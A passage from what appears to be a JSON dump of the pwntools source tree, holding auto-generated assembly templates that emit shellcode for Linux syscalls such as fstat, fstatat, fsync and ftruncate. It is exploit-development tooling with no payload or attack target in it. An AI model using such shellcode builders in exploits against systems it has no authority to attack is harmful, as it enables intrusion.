arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fspick']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fspick'])\n%>\n    /* fspick(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fstat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fstat(fd, buf) -> str\n\nInvokes the syscall fstat.\n\nSee 'man 2 fstat' for more information.\n\nArguments:\n    fd(int): fd\n    buf(stat*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf']\n    argument_values = [fd, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fstat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fstat'])\n%>\n    /* fstat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fstat64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fstat64(fd, buf) -> str\n\nInvokes the syscall fstat64.\n\nSee 'man 2 fstat64' for more information.\n\nArguments:\n    fd(int): fd\n    buf(stat64*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf']\n    argument_values = [fd, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fstat64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fstat64'])\n%>\n    /* fstat64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fstatat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fstatat(fd, file, buf, flag) -> str\n\nInvokes the syscall fstatat.\n\nSee 'man 2 fstatat' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    buf(stat*): buf\n    flag(int): flag\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, buf=0, flag=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'buf', 'flag']\n    argument_values = [fd, file, buf, flag]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fstatat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fstatat'])\n%>\n    /* fstatat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fstatat64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fstatat64(fd, file, buf, flag) -> str\n\nInvokes the syscall fstatat64.\n\nSee 'man 2 fstatat64' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    buf(stat64*): buf\n    flag(int): flag\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, buf=0, flag=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'buf', 'flag']\n    argument_values = [fd, file, buf, flag]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fstatat64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fstatat64'])\n%>\n    /* fstatat64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fstatfs.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fstatfs(fildes, buf) -> str\n\nInvokes the syscall fstatfs.\n\nSee 'man 2 fstatfs' for more information.\n\nArguments:\n    fildes(int): fildes\n    buf(statfs*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"fildes=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fildes', 'buf']\n    argument_values = [fildes, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fstatfs']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fstatfs'])\n%>\n    /* fstatfs(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fstatfs64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fstatfs64(fildes, buf) -> str\n\nInvokes the syscall fstatfs64.\n\nSee 'man 2 fstatfs64' for more information.\n\nArguments:\n    fildes(int): fildes\n    buf(statfs64*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"fildes=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fildes', 'buf']\n    argument_values = [fildes, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fstatfs64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fstatfs64'])\n%>\n    /* fstatfs64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fsync.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fsync(fd) -> str\n\nInvokes the syscall fsync.\n\nSee 'man 2 fsync' for more information.\n\nArguments:\n    fd(int): fd\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd']\n    argument_values = [fd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fsync']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fsync'])\n%>\n    /* fsync(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ftime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ftime(timebuf) -> str\n\nInvokes the syscall ftime.\n\nSee 'man 2 ftime' for more information.\n\nArguments:\n    timebuf(timeb*): timebuf\nReturns:\n    int\n</%docstring>\n<%page args=\"timebuf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['timebuf']\n    argument_values = [timebuf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ftime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ftime'])\n%>\n    /* ftime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ftruncate.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ftruncate(fd, length) -> str\n\nInvokes the syscall ftruncate.\n\nSee 'man 2 ftruncate' for more information.\n\nArguments:\n    fd(int): fd\n    length(off_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'length']\n    argument_values = [fd, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ftruncate']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ftruncate'])\n%>\n    /* ftruncate(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
